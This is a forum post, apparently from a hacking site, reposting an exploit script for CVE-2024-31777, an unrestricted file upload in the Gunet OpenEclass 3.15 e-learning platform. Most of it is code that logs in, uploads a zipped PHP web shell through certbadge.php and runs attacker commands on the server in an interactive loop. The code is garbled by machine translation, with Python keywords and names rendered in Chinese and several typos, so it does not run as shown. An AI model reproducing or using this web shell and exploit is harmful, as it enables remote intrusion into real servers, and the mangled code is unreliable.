H

Gunet OpenClass电子学习平台3.15-'certbadge.php'无限制文件上传

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Gunet OpenEclass电子学习平台3.15-'certbadge.php'无限制的文件上传
#日期: 2024-02-04
#利用作者: Georgios tsimpidas
#供应商homepage: https://www.openeclass.org/
#软件link: https://download.openclass.org/files/3.15/
#版本: 3.15(2024)
#测试在: Debian Kali(Apache/2.4.57,PHP 8.2.12,MySQL 15.1)
#CVE : CVE-2024-31777
#Gunet OpenClass=3.15电子学习平台- 无限制的文件
导入请求
导入argparse
导入Zipfile
导入操作系统
导入系统
红色='\ 033 [91m'
绿色='\ 033 [92m'
黄色='\ 033 [93m'
reset='\ 033 [0M'
橙色='\ 033 [38; 5; 208m'
malicious_payload='''\
php
if(isset($ _请求['cmd'])){
$ cmd=($ _request ['cmd']);
系统($ cmd);
死;
}

'''
def Banner():
打印(f'''{red}
{黄色的}
===================================================================
{重置}''')
def execute_command(Openclass,filename):
而true:
#提示用“ Eclass”的用户输入
cmd=input(f'{red} [{yellow} eclass {red}]〜#{reset}')
#检查命令是否“退出”,然后打破循环
如果cmd.lower()=='quit':
print(f'{橙色} \ nexiting . {reset}')
clean_server(Openclass)
sys.exit()
#用用户提供的命令构造URL
url=f'{openclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}'
#执行GET请求
TRY:
响应=requests.get(url)
#检查请求是否成功
if antsphy.status_code==200:
#打印响应文字
print(f'{green} {response.text} {reset}')
除了requests.exceptions.requestexception为e:
#打印在请求期间发生的任何错误
print(f'{red}发生错误: {e} {reset}')
def upload_web_shell(openeclass,用户名,密码):
login_url=f'{openeclass}/?login_page=1'
login_page_url=f'{openclass} /main/login_form.php?next=%2FMain%2FportFolio.php'
#登录凭据
有效载荷={
'next':'/main/portfolio.php',
'uname': f'{username}',
'Pass': f'{password}',
'提交:'输入'
}
标题={
'参考器: login_page_url,
}
#使用会话确保正确处理饼干
使用requests.session()为Session:
#(可选)如果需要获得新的会话cookie或任何其他必需的令牌,最初访问登录页面
session.get(login_page_url)
#发布登录凭据
响应=session.post(login_url,headers=标题,data=有效载荷)
#创建一个包含恶意有效载荷的zip文件
zip_file_path='malicious_payload.zip'
用zipfile.zipfile(zip_file_path,'w')为zipf:
zipf.writest('evil.php',aliqu_payload.encode())
#上传zip文件
url=f'{openclass}/modules/admin/certbadge.php?action=add_cert'
文件={
'filename':('evil.zip',打开(zip_file_path,'rb'),'application/zip'),
'certhtmlfile':(无,''),
'entirentation':(无,'l'),
'description':(无,''),
'cert_id':(无,''),
'submit_cert_template':(无,'')
}
响应=session.post(url,files=文件)
#清理zip文件
OS.Remove(zip_file_path)
#检查上传是否成功
if antsphy.status_code==200:
打印(f'{green}有效载荷成功上传!{reset}')
返回true
其他:
print(f'{red}无法上传有效载荷。退出. {reset}')
返回false
DEF CLEAN_SERVER(OPENCLASS):
打印(f'{橙}清洁服务器. {reset}')
#删除上传的文件
requests.get(f'{openclass} /courses/user_progress_data/cert_templates/evil.php?cmd=rm%20Evil.zip')
requests.get(f'{openclass} /courses/user_progress_data/cert_templates/evil.php?cmd=rm%20Evil.php')
打印(f'{green}服务器成功清洁!{reset}')
def main():
parser=argparse.argumentparser(Description='Open Eclass - CVE-CVE-2024-31777:不受限制的文件上传引线导致远程代码执行')
parser.add_argument(' - u',' - username',必需=true,help='login的用户名')
parser.add_argument(' - p',' - password',必需=true,help='登录密码')
parser.add_argument(' - e',' - eclass',quiend=true,help='open eclass'base url')
args=parser.parse_args()
横幅()
#运行主登录和执行命令功能
如果upload_web_shell(args.eclass,args.username,args.password):
execute_command(args.eclass,'evil.php')
如果name=='__ -Main __':
主要的()
 
后退
顶部